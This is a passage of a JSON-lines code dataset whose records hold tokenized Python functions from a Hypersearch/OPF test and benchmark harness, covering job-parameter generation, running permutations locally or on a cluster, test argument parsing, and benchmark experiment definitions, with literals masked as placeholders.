\"<STR_LIT:float>\",<EOL>\"<STR_LIT>\": <NUM_LIT:0>,<EOL>\"<STR_LIT>\": <NUM_LIT:200>,<EOL>},<EOL>],<EOL>\"<STR_LIT>\": maxRecords,<EOL>\"<STR_LIT>\": {<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>},<EOL>}<EOL>jobParams = {<EOL>\"<STR_LIT>\": generatePersistentJobGUID(),<EOL>\"<STR_LIT:description>\":expDesc,<EOL>\"<STR_LIT>\": maxModels,<EOL>\"<STR_LIT>\": hsImp,<EOL>}<EOL>if predictionCacheMaxRecords is not None:<EOL><INDENT>jobParams['<STR_LIT>'] = predictionCacheMaxRecords<EOL><DEDENT><DEDENT>return jobParams<EOL>", "docstring": "This method generates a canned Hypersearch Job Params structure based\non some high level options\n\nParameters:\n---------------------------------------------------------------------\npredictionCacheMaxRecords:\n               If specified, determine the maximum number of records in\n               the prediction cache.\ndataPath:      When expDirectory is not specified, this is the data file\n               to be used for the operation. If this value is not specified,\n               it will use the /extra/qa/hotgym/qa_hotgym.csv.", "id": "f17408:c1:m7"}
{"signature": "def _runPermutationsLocal(self, jobParams, loggingLevel=logging.INFO,<EOL>env=None, waitForCompletion=True,<EOL>continueJobId=None, ignoreErrModels=False):", "body": "print()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>if env is not None:<EOL><INDENT>saveEnvState = copy.deepcopy(os.environ)<EOL>os.environ.update(env)<EOL><DEDENT>cjDAO = ClientJobsDAO.get()<EOL>if continueJobId is None:<EOL><INDENT>jobID = cjDAO.jobInsert(client='<STR_LIT:test>', cmdLine='<STR_LIT>',<EOL>params=json.dumps(jobParams),<EOL>alreadyRunning=True, minimumWorkers=<NUM_LIT:1>, maximumWorkers=<NUM_LIT:1>,<EOL>jobType = cjDAO.JOB_TYPE_HS)<EOL><DEDENT>else:<EOL><INDENT>jobID = continueJobId<EOL><DEDENT>args = ['<STR_LIT>', '<STR_LIT>' % (jobID),<EOL>'<STR_LIT>' % (loggingLevel)]<EOL>if continueJobId is None:<EOL><INDENT>args.append('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>hypersearch_worker.main(args)<EOL><DEDENT>except SystemExit:<EOL><INDENT>pass<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>if env is not None:<EOL><INDENT>os.environ = saveEnvState<EOL><DEDENT>models = cjDAO.modelsGetUpdateCounters(jobID)<EOL>modelIDs = [model.modelId for model in models]<EOL>if len(modelIDs) > <NUM_LIT:0>:<EOL><INDENT>results = cjDAO.modelsGetResultAndStatus(modelIDs)<EOL><DEDENT>else:<EOL><INDENT>results = []<EOL><DEDENT>metricResults = []<EOL>for result in results:<EOL><INDENT>if result.results is not None:<EOL><INDENT>metricResults.append(list(json.loads(result.results)[<NUM_LIT:1>].values())[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>metricResults.append(None)<EOL><DEDENT>if not ignoreErrModels:<EOL><INDENT>self.assertNotEqual(result.completionReason, cjDAO.CMPL_REASON_ERROR,<EOL>\"<STR_LIT>\" % (result.completionMsg))<EOL><DEDENT><DEDENT>jobInfo = cjDAO.jobInfo(jobID)<EOL>return (jobID, jobInfo, results, metricResults)<EOL>", "docstring": "This runs permutations on the given experiment using just 1 worker\n        in the current process\n\n        Parameters:\n        -------------------------------------------------------------------\n        jobParams:        filled in job params for a hypersearch\n        loggingLevel:    logging level to use in the Hypersearch worker\n        env:             if not None, this is a dict of environment variables\n                            that should be sent to each worker process. These can\n                            aid in re-using the same description/permutations file\n                            for different tests.\n        waitForCompletion: If True, wait for job to complete before returning\n                           If False, then return resultsInfoForAllModels and\n                           metricResults will be None\n        continueJobId:    If not None, then this is the JobId of a job we want\n                          to continue working on with another worker.\n        ignoreErrModels:  If true, ignore erred models\n        retval:          (jobId, jobInfo, resultsInfoForAllModels, metricResults)", "id": "f17408:c1:m8"}
{"signature": "def _runPermutationsCluster(self, jobParams, loggingLevel=logging.INFO,<EOL>maxNumWorkers=<NUM_LIT:4>, env=None,<EOL>waitForCompletion=True, ignoreErrModels=False,<EOL>timeoutSec=DEFAULT_JOB_TIMEOUT_SEC):", "body": "print()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>if env is not None and len(env) > <NUM_LIT:0>:<EOL><INDENT>envItems = []<EOL>for (key, value) in env.items():<EOL><INDENT>if (sys.platform.startswith('<STR_LIT>')):<EOL><INDENT>envItems.append(\"<STR_LIT>\" % (key, value))<EOL><DEDENT>else:<EOL><INDENT>envItems.append(\"<STR_LIT>\" % (key, value))<EOL><DEDENT><DEDENT>if (sys.platform.startswith('<STR_LIT>')):<EOL><INDENT>envStr = \"<STR_LIT>\" % ('<STR_LIT>'.join(envItems))<EOL><DEDENT>else:<EOL><INDENT>envStr = \"<STR_LIT>\" % ('<STR_LIT:;>'.join(envItems))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>envStr = '<STR_LIT>'<EOL><DEDENT>cmdLine = '<STR_LIT>''<STR_LIT>'% (envStr, loggingLevel)<EOL>cjDAO = ClientJobsDAO.get()<EOL>jobID = cjDAO.jobInsert(client='<STR_LIT:test>', cmdLine=cmdLine,<EOL>params=json.dumps(jobParams),<EOL>minimumWorkers=<NUM_LIT:1>, maximumWorkers=maxNumWorkers,<EOL>jobType = cjDAO.JOB_TYPE_HS)<EOL>workerCmdLine = '<STR_LIT>''<STR_LIT>'% (envStr, jobID, loggingLevel)<EOL>workers = self._launchWorkers(cmdLine=workerCmdLine, numWorkers=maxNumWorkers)<EOL>print(\"<STR_LIT>\" % (jobID))<EOL>print(\"<STR_LIT>\" % (maxNumWorkers),cmdLine)<EOL>if not waitForCompletion:<EOL><INDENT>return (jobID, None, None)<EOL><DEDENT>if timeoutSec is None:<EOL><INDENT>timeout=DEFAULT_JOB_TIMEOUT_SEC<EOL><DEDENT>else:<EOL><INDENT>timeout=timeoutSec<EOL><DEDENT>startTime = time.time()<EOL>lastUpdate = time.time()<EOL>lastCompleted = <NUM_LIT:0><EOL>lastCompletedWithError = <NUM_LIT:0><EOL>lastCompletedAsOrphan = <NUM_LIT:0><EOL>lastStarted = <NUM_LIT:0><EOL>lastJobStatus = \"<STR_LIT>\"<EOL>lastJobResults = None<EOL>lastActiveSwarms = None<EOL>lastEngStatus = None<EOL>modelIDs = []<EOL>print(\"<STR_LIT>\" % (\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"))<EOL>print(\"<STR_LIT>\")<EOL>while (lastJobStatus != ClientJobsDAO.STATUS_COMPLETED)and (time.time() - lastUpdate < timeout):<EOL><INDENT>printUpdate = False<EOL>if g_myEnv.options.verbosity == <NUM_LIT:0>:<EOL><INDENT>time.sleep(<NUM_LIT:0.5>)<EOL><DEDENT>jobInfo = self._getJobInfo(cjDAO, workers, jobID)<EOL>if jobInfo.status != lastJobStatus:<EOL><INDENT>if jobInfo.status == ClientJobsDAO.STATUS_RUNNINGand lastJobStatus != ClientJobsDAO.STATUS_RUNNING:<EOL><INDENT>print(\"<STR_LIT>\"% (jobInfo.jobId))<EOL><DEDENT>lastJobStatus = jobInfo.status<EOL>printUpdate = True<EOL><DEDENT>if g_myEnv.options.verbosity >= <NUM_LIT:1>:<EOL><INDENT>if jobInfo.engWorkerState is not None:<EOL><INDENT>activeSwarms = json.loads(jobInfo.engWorkerState)['<STR_LIT>']<EOL>if activeSwarms != lastActiveSwarms:<EOL><INDENT>print(\"<STR_LIT>\", '<STR_LIT>'.join(activeSwarms))<EOL>lastActiveSwarms = activeSwarms<EOL>print()<EOL><DEDENT><DEDENT>if jobInfo.results != lastJobResults:<EOL><INDENT>print(\"<STR_LIT>\", jobInfo.results, \"<STR_LIT>\")<EOL>lastJobResults = jobInfo.results<EOL><DEDENT>if jobInfo.engStatus != lastEngStatus:<EOL><INDENT>print('<STR_LIT>' % jobInfo.engStatus)<EOL>print()<EOL>lastEngStatus = jobInfo.engStatus<EOL><DEDENT><DEDENT>modelCounters = cjDAO.modelsGetUpdateCounters(jobID)<EOL>if len(modelCounters) != lastStarted:<EOL><INDENT>modelIDs = [x.modelId for x in modelCounters]<EOL>lastStarted = len(modelCounters)<EOL>printUpdate = True<EOL><DEDENT>if len(modelIDs) > <NUM_LIT:0>:<EOL><INDENT>completed = <NUM_LIT:0><EOL>completedWithError = <NUM_LIT:0><EOL>completedAsOrphan = <NUM_LIT:0><EOL>infos = cjDAO.modelsGetResultAndStatus(modelIDs)<EOL>for info in infos:<EOL><INDENT>if info.status == ClientJobsDAO.STATUS_COMPLETED:<EOL><INDENT>completed += <NUM_LIT:1><EOL>if info.completionReason == ClientJobsDAO.CMPL_REASON_ERROR:<EOL><INDENT>completedWithError += <NUM_LIT:1><EOL><DEDENT>if info.completionReason == ClientJobsDAO.CMPL_REASON_ORPHAN:<EOL><INDENT>completedAsOrphan += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>if completed != lastCompletedor completedWithError != lastCompletedWithErroror completedAsOrphan != lastCompletedAsOrphan:<EOL><INDENT>lastCompleted = completed<EOL>lastCompletedWithError = completedWithError<EOL>lastCompletedAsOrphan = completedAsOrphan<EOL>printUpdate = True<EOL><DEDENT><DEDENT>if printUpdate:<EOL><INDENT>lastUpdate = time.time()<EOL>if g_myEnv.options.verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL><DEDENT>print(\"<STR_LIT>\" % (lastJobStatus, lastStarted,<EOL>lastCompleted,<EOL>lastCompletedWithError,<EOL>lastCompletedAsOrphan))<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\" % (lastJobStatus, lastStarted,<EOL>lastCompleted,<EOL>lastCompletedWithError,<EOL>lastCompletedAsOrphan))<EOL>jobInfo = self._getJobInfo(cjDAO, workers, jobID)<EOL>if not ignoreErrModels:<EOL><INDENT>self.assertEqual (jobInfo.completionReason,<EOL>ClientJobsDAO.CMPL_REASON_SUCCESS)<EOL><DEDENT>models = cjDAO.modelsGetUpdateCounters(jobID)<EOL>modelIDs = [model.modelId for model in models]<EOL>if len(modelIDs) > <NUM_LIT:0>:<EOL><INDENT>results = cjDAO.modelsGetResultAndStatus(modelIDs)<EOL><DEDENT>else:<EOL><INDENT>results = []<EOL><DEDENT>metricResults = []<EOL>for result in results:<EOL><INDENT>if result.results is not None:<EOL><INDENT>metricResults.append(list(json.loads(result.results)[<NUM_LIT:1>].values())[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>metricResults.append(None)<EOL><DEDENT>if not ignoreErrModels:<EOL><INDENT>self.assertNotEqual(result.completionReason, cjDAO.CMPL_REASON_ERROR,<EOL>\"<STR_LIT>\" % (result.completionMsg))<EOL><DEDENT><DEDENT>return (jobID, jobInfo, results, metricResults)<EOL>", "docstring": "Given a prepared, filled in jobParams for a hypersearch, this starts\n        the job, waits for it to complete, and returns the results for all\n        models.\n\n        Parameters:\n        -------------------------------------------------------------------\n        jobParams:        filled in job params for a hypersearch\n        loggingLevel:    logging level to use in the Hypersearch worker\n        maxNumWorkers:    max # of worker processes to use\n        env:             if not None, this is a dict of environment variables\n                            that should be sent to each worker process. These can\n                            aid in re-using the same description/permutations file\n                            for different tests.\n        waitForCompletion: If True, wait for job to complete before returning\n                           If False, then return resultsInfoForAllModels and\n                           metricResults will be None\n        ignoreErrModels:  If true, ignore erred models\n        retval:          (jobID, jobInfo, resultsInfoForAllModels, metricResults)", "id": "f17408:c1:m9"}
{"signature": "def runPermutations(self, expDirectory, hsImp='<STR_LIT>', maxModels=<NUM_LIT:2>,<EOL>maxNumWorkers=<NUM_LIT:4>, loggingLevel=logging.INFO,<EOL>onCluster=False, env=None, waitForCompletion=True,<EOL>continueJobId=None, dataPath=None, maxRecords=None,<EOL>timeoutSec=None, ignoreErrModels=False,<EOL>predictionCacheMaxRecords=None, **kwargs):", "body": "<EOL>if env is None:<EOL><INDENT>env = dict()<EOL><DEDENT>self._setDataPath(env)<EOL>jobParams = self._generateHSJobParams(expDirectory=expDirectory,<EOL>hsImp=hsImp, maxModels=maxModels,<EOL>maxRecords=maxRecords,<EOL>dataPath=dataPath,<EOL>predictionCacheMaxRecords=predictionCacheMaxRecords)<EOL>jobParams.update(kwargs)<EOL>if onCluster:<EOL><INDENT>(jobID, jobInfo, resultInfos, metricResults)=  self._runPermutationsCluster(jobParams=jobParams,<EOL>loggingLevel=loggingLevel,<EOL>maxNumWorkers=maxNumWorkers,<EOL>env=env,<EOL>waitForCompletion=waitForCompletion,<EOL>ignoreErrModels=ignoreErrModels,<EOL>timeoutSec=timeoutSec)<EOL><DEDENT>else:<EOL><INDENT>(jobID, jobInfo, resultInfos, metricResults)= self._runPermutationsLocal(jobParams=jobParams,<EOL>loggingLevel=loggingLevel,<EOL>env=env,<EOL>waitForCompletion=waitForCompletion,<EOL>continueJobId=continueJobId,<EOL>ignoreErrModels=ignoreErrModels)<EOL><DEDENT>if not waitForCompletion:<EOL><INDENT>return (jobID, jobInfo, resultInfos, metricResults, None)<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\" % (jobInfo.completionReason))<EOL>print(\"<STR_LIT>\" % (jobInfo.workerCompletionReason))<EOL>print(\"<STR_LIT>\" % (jobInfo.workerCompletionMsg))<EOL>if jobInfo.engWorkerState is not None:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>pprint.pprint(json.loads(jobInfo.engWorkerState))<EOL><DEDENT>minErrScore=None<EOL>metricAmts = []<EOL>for result in metricResults:<EOL><INDENT>if result is None:<EOL><INDENT>metricAmts.append(numpy.inf)<EOL><DEDENT>else:<EOL><INDENT>metricAmts.append(result)<EOL><DEDENT><DEDENT>metricAmts = numpy.array(metricAmts)<EOL>if len(metricAmts) > <NUM_LIT:0>:<EOL><INDENT>minErrScore = metricAmts.min()<EOL>minModelID = resultInfos[metricAmts.argmin()].modelId<EOL>cjDAO = ClientJobsDAO.get()<EOL>modelParams = cjDAO.modelsGetParams([minModelID])[<NUM_LIT:0>].params<EOL>print(\"<STR_LIT>\"% (pprint.pformat(json.loads(modelParams))))<EOL>print(\"<STR_LIT>\" % (minErrScore))<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return (jobID, jobInfo, resultInfos, metricResults, minErrScore)<EOL>", "docstring": "This runs permutations on the given experiment using just 1 worker\n\n        Parameters:\n        -------------------------------------------------------------------\n        expDirectory:    directory containing the description.py and permutations.py\n        hsImp:           which implementation of Hypersearch to use\n        maxModels:       max # of models to generate\n        maxNumWorkers:   max # of workers to use, N/A if onCluster is False\n        loggingLevel:    logging level to use in the Hypersearch worker\n        onCluster:       if True, run on the Hadoop cluster\n        env:             if not None, this is a dict of environment variables\n                            that should be sent to each worker process. These can\n                            aid in re-using the same description/permutations file\n                            for different tests.\n        waitForCompletion: If True, wait for job to complete before returning\n                           If False, then return resultsInfoForAllModels and\n                           metricResults will be None\n        continueJobId:    If not None, then this is the JobId of a job we want\n                          to continue working on with another worker.\n        ignoreErrModels:  If true, ignore erred models\n        maxRecords:       This value is passed to the function, _generateHSJobParams(),\n                          to represent the maximum number of records to generate for\n                          the operation.\n        dataPath:         This value is passed to the function, _generateHSJobParams(),\n                          which points to the data file for the operation.\n        predictionCacheMaxRecords:\n                          If specified, determine the maximum number of records in\n                          the prediction cache.\n\n        retval:          (jobID, jobInfo, resultsInfoForAllModels, metricResults,\n                            minErrScore)", "id": "f17408:c1:m10"}
{"signature": "@classmethod<EOL><INDENT>def _processArgs(cls):<DEDENT>", "body": "helpString =\"\"\"<STR_LIT>\"\"\"<EOL>allTests = _getTestList()<EOL>for test in allTests:<EOL><INDENT>helpString += \"<STR_LIT>\" % (test)<EOL><DEDENT>parser = OptionParser(helpString,conflict_handler=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", default=<NUM_LIT:0>, type=\"<STR_LIT:int>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store_true>\", default=False,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store>\", type=\"<STR_LIT:int>\",<EOL>default=logging.INFO,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", dest=\"<STR_LIT>\", default=<NUM_LIT:2>, type='<STR_LIT:int>',<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>return parser.parse_args(args=cls.args)<EOL>", "docstring": "Parse our command-line args/options and strip them from sys.argv\nReturns the tuple (parsedOptions, remainingArgs)", "id": "f17408:c6:m0"}
{"signature": "@classmethod<EOL><INDENT>def parseArgs(cls):<DEDENT>", "body": "return cls._processArgs()[<NUM_LIT:0>]<EOL>", "docstring": "Returns the test arguments after parsing", "id": "f17408:c6:m1"}
{"signature": "@classmethod<EOL><INDENT>def consumeArgs(cls):<DEDENT>", "body": "return cls._processArgs()[<NUM_LIT:1>]<EOL>", "docstring": "Consumes the test arguments and returns the remaining arguments meant\n        for unittest.man", "id": "f17408:c6:m2"}
{"signature": "def __updateProcessCounter(self):", "body": "newcounter = <NUM_LIT:0><EOL>for job in self.__procs:<EOL><INDENT>if job.is_alive():<EOL><INDENT>newcounter+=<NUM_LIT:1><EOL><DEDENT><DEDENT>self.__numRunningProcs = newcounter<EOL>return newcounter<EOL>", "docstring": "Function that iterates through the running Processes\n        and counts the number of processes that are currently alive.\n        Sets numRunningProcs to this count", "id": "f17409:c0:m2"}
{"signature": "def cancelJobs(self):", "body": "print(\"<STR_LIT>\")<EOL>for proc in self.__procs:<EOL><INDENT>if not proc.is_alive():<EOL><INDENT>proc.terminate()<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>", "docstring": "Function that cancels all the jobs in the\n        process queue.", "id": "f17409:c0:m3"}
{"signature": "def runJobs(self, maxJobs):", "body": "jobsrunning = self.__numRunningProcs<EOL>if(maxJobs > <NUM_LIT:1>):<EOL><INDENT>jobsindx = <NUM_LIT:0><EOL>while(jobsindx<len(self.testQ) or jobsrunning><NUM_LIT:0>):<EOL><INDENT>if(jobsindx<len(self.testQ) and jobsrunning<maxJobs):<EOL><INDENT>curJob = self.testQ[jobsindx]<EOL>p = Process(target = curJob[<NUM_LIT:0>], args = curJob[<NUM_LIT:1>])<EOL>p.start()<EOL>self.__procs.append(p)<EOL>jobsindx+=<NUM_LIT:1><EOL><DEDENT>if jobsrunning >= maxJobs:<EOL><INDENT>time.sleep(<NUM_LIT:30>)<EOL>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif jobsindx == len(self.testQ):<EOL><INDENT>time.sleep(<NUM_LIT:30>)<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>jobsrunning = self.__updateProcessCounter()<EOL>for proc in self.__procs:<EOL><INDENT>if proc.exitcode == <NUM_LIT:1>:<EOL><INDENT>self.cancelJobs()<EOL>assert False, (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>while True:<EOL><INDENT>result = self.__resultQ.get(True, <NUM_LIT:5>)<EOL>self.assertBenchmarks(result)<EOL><DEDENT><DEDENT>except Empty:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Function that launched Hypersearch benchmark jobs.\n        Runs jobs contained in self.testQ, until maxJobs are running\n        in parallel at which point it waits until some jobs finish.", "id": "f17409:c0:m4"}
{"signature": "def setUpExportDicts(self):", "body": "ret = []<EOL>if self.maxBranchings is None:<EOL><INDENT>self.maxBranchings = [None]<EOL><DEDENT>else:<EOL><INDENT>self.maxBranchings = self.maxBranchings.split('<STR_LIT:U+002C>')<EOL><DEDENT>if self.maxParticles is None:<EOL><INDENT>self.maxParticles = [None]<EOL><DEDENT>else:<EOL><INDENT>self.maxParticles = self.maxParticles.split(\"<STR_LIT:U+002C>\")<EOL><DEDENT>for branch in self.maxBranchings:<EOL><INDENT>for part in self.maxParticles:<EOL><INDENT>curdict = dict()<EOL>if not branch is None:<EOL><INDENT>curdict[self.BRANCHING_PROP] = branch<EOL><DEDENT>if not part is None:<EOL><INDENT>curdict[self.PARTICLE_PROP] = part<EOL><DEDENT>ret+=[curdict]<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Setup up a dict of branchings and particles", "id": "f17409:c0:m19"}
{"signature": "def benchmarkHotGym(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>last_record=self.splits['<STR_LIT>'],)<EOL>],<EOL>aggregation={<EOL>'<STR_LIT>' : <NUM_LIT:1>,<EOL>'<STR_LIT>' : [<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>]<EOL>},<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:float>\",<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:string>\",<EOL>},<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "Try running a basic experiment and permutations.", "id": "f17409:c0:m31"}
{"signature": "def benchmarkSine(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT>\",\"<STR_LIT>\"],<EOL>last_record=self.splits['<STR_LIT>']),<EOL>],<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:float>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:1.0>,<EOL>\"<STR_LIT>\":  <NUM_LIT:1.0>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:float>\",<EOL>\"<STR_LIT>\":  <NUM_LIT:0.0>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "Try running a basic experiment and permutations", "id": "f17409:c0:m32"}
{"signature": "def benchmarkTwoVars(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT>\",\"<STR_LIT>\"],<EOL>last_record=self.splits['<STR_LIT>'],),<EOL>],<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "Try running a basic experiment and permutations", "id": "f17409:c0:m33"}
{"signature": "def benchmarkThreeVars(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"],<EOL>last_record=self.splits['<STR_LIT>']),<EOL>],<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>}<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "Try running a basic experiment and permutations", "id": "f17409:c0:m34"}
{"signature": "def benchmarkFourVars(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"],<EOL>last_record=self.splits['<STR_LIT>']),<EOL>],<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": 